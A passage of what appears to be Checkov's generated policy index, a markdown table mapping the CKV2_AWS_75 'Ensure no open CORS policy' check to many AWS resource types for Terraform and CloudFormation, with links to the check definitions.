Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2791 | CKV2_AWS_75              | resource                         | aws_backup_vault_notifications                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2792 | CKV2_AWS_75              | resource                         | aws_backup_vault_notifications                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2793 | CKV2_AWS_75              | resource                         | aws_backup_vault_policy                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2794 | CKV2_AWS_75              | resource                         | aws_backup_vault_policy                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2795 | CKV2_AWS_75              | resource                         | aws_batch_compute_environment                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2796 | CKV2_AWS_75              | resource                         | aws_batch_compute_environment                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2797 | CKV2_AWS_75              | resource                         | aws_batch_job_definition                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2798 | CKV2_AWS_75              | resource                         | aws_batch_job_definition                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2799 | CKV2_AWS_75              | resource                         | aws_batch_job_queue                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2800 | CKV2_AWS_75              | resource                         | aws_batch_job_queue                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2801 | CKV2_AWS_75              | resource                         | aws_batch_scheduling_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2802 | CKV2_AWS_75              | resource                         | aws_batch_scheduling_policy                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2803 | CKV2_AWS_75              | resource                         | aws_bcmdataexports_export                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2804 | CKV2_AWS_75              | resource                         | aws_bcmdataexports_export                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2805 | CKV2_AWS_75              | resource                         | aws_bedrock_custom_model                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2806 | CKV2_AWS_75              | resource                         | aws_bedrock_custom_model                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2807 | CKV2_AWS_75              | resource                         | aws_bedrock_guardrail                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2808 | CKV2_AWS_75              | resource                         | aws_bedrock_guardrail                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2809 | CKV2_AWS_75              | resource                         | aws_bedrock_guardrail_version                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2810 | CKV2_AWS_75              | resource                         | aws_bedrock_guardrail_version                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2811 | CKV2_AWS_75              | resource                         | aws_bedrock_inference_profile                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2812 | CKV2_AWS_75              | resource                         | aws_bedrock_inference_profile                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2813 | CKV2_AWS_75              | resource                         | aws_bedrock_model_invocation_logging_configuration                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2814 | CKV2_AWS_75              | resource                         | aws_bedrock_model_invocation_logging_configuration                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2815 | CKV2_AWS_75              | resource                         | aws_bedrock_provisioned_model_throughput                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2816 | CKV2_AWS_75              | resource                         | aws_bedrock_provisioned_model_throughput                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2817 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2818 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2819 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent_action_group                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2820 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent_action_group                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2821 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent_alias                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2822 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent_alias                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2823 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent_collaborator                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2824 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent_collaborator                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2825 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent_knowledge_base_association                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2826 | CKV2_AWS_75              | resource                         | aws_bedrockagent_agent_knowledge_base_association                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2827 | CKV2_AWS_75              | resource                         | aws_bedrockagent_data_source                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2828 | CKV2_AWS_75              | resource                         | aws_bedrockagent_data_source                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2829 | CKV2_AWS_75              | resource                         | aws_bedrockagent_knowledge_base                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2830 | CKV2_AWS_75              | resource                         | aws_bedrockagent_knowledge_base                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2831 | CKV2_AWS_75              | resource                         | aws_budgets_budget                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2832 | CKV2_AWS_75              | resource                         | aws_budgets_budget                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2833 | CKV2_AWS_75              | resource                         | aws_budgets_budget_action                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2834 | CKV2_AWS_75              | resource                         | aws_budgets_budget_action                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2835 | CKV2_AWS_75              | resource                         | aws_caller_info                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2836 | CKV2_AWS_75              | resource                         | aws_caller_info                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2837 | CKV2_AWS_75              | resource                         | aws_ce_anomaly_monitor                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2838 | CKV2_AWS_75              | resource                         | aws_ce_anomaly_monitor                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2839 | CKV2_AWS_75              | resource                         | aws_ce_anomaly_subscription                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2840 | CKV2_AWS_75              | resource                         | aws_ce_anomaly_subscription                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2841 | CKV2_AWS_75              | resource                         | aws_ce_cost_allocation_tag                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2842 | CKV2_AWS_75              | resource                         | aws_ce_cost_allocation_tag                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2843 | CKV2_AWS_75              | resource                         | aws_ce_cost_category                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2844 | CKV2_AWS_75              | resource                         | aws_ce_cost_category                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2845 | CKV2_AWS_75              | resource                         | aws_chatbot_slack_channel_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2846 | CKV2_AWS_75              | resource                         | aws_chatbot_slack_channel_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2847 | CKV2_AWS_75              | resource                         | aws_chatbot_teams_channel_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2848 | CKV2_AWS_75              | resource                         | aws_chatbot_teams_channel_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2849 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2850 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2851 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2852 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2853 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_logging                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2854 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_logging                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2855 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_origination                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2856 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_origination                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2857 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_streaming                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2858 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_streaming                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2859 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_termination                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2860 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_termination                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2861 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_termination_credentials                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2862 | CKV2_AWS_75              | resource                         | aws_chime_voice_connector_termination_credentials                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2863 | CKV2_AWS_75              | resource                         | aws_chimesdkmediapipelines_media_insights_pipeline_configuration                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2864 | CKV2_AWS_75              | resource                         | aws_chimesdkmediapipelines_media_insights_pipeline_configuration                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2865 | CKV2_AWS_75              | resource                         | aws_chimesdkvoice_global_settings                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2866 | CKV2_AWS_75              | resource                         | aws_chimesdkvoice_global_settings                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2867 | CKV2_AWS_75              | resource                         | aws_chimesdkvoice_sip_media_application                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2868 | CKV2_AWS_75              | resource                         | aws_chimesdkvoice_sip_media_application                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2869 | CKV2_AWS_75              | resource                         | aws_chimesdkvoice_sip_rule                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2870 | CKV2_AWS_75              | resource                         | aws_chimesdkvoice_sip_rule                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2871 | CKV2_AWS_75              | resource                         | aws_chimesdkvoice_voice_profile_domain                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2872 | CKV2_AWS_75              | resource                         | aws_chimesdkvoice_voice_profile_domain                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2873 | CKV2_AWS_75              | resource                         | aws_cleanrooms_collaboration                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2874 | CKV2_AWS_75              | resource                         | aws_cleanrooms_collaboration                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2875 | CKV2_AWS_75              | resource                         | aws_cleanrooms_configured_table                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2876 | CKV2_AWS_75              | resource                         | aws_cleanrooms_configured_table                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2877 | CKV2_AWS_75              | resource                         | aws_cleanrooms_membership                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2878 | CKV2_AWS_75              | resource                         | aws_cleanrooms_membership                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2879 | CKV2_AWS_75              | resource                         | aws_cloud9_environment_ec2                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2880 | CKV2_AWS_75              | resource                         | aws_cloud9_environment_ec2                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2881 | CKV2_AWS_75              | resource                         | aws_cloud9_environment_membership                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2882 | CKV2_AWS_75              | resource                         | aws_cloud9_environment_membership                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 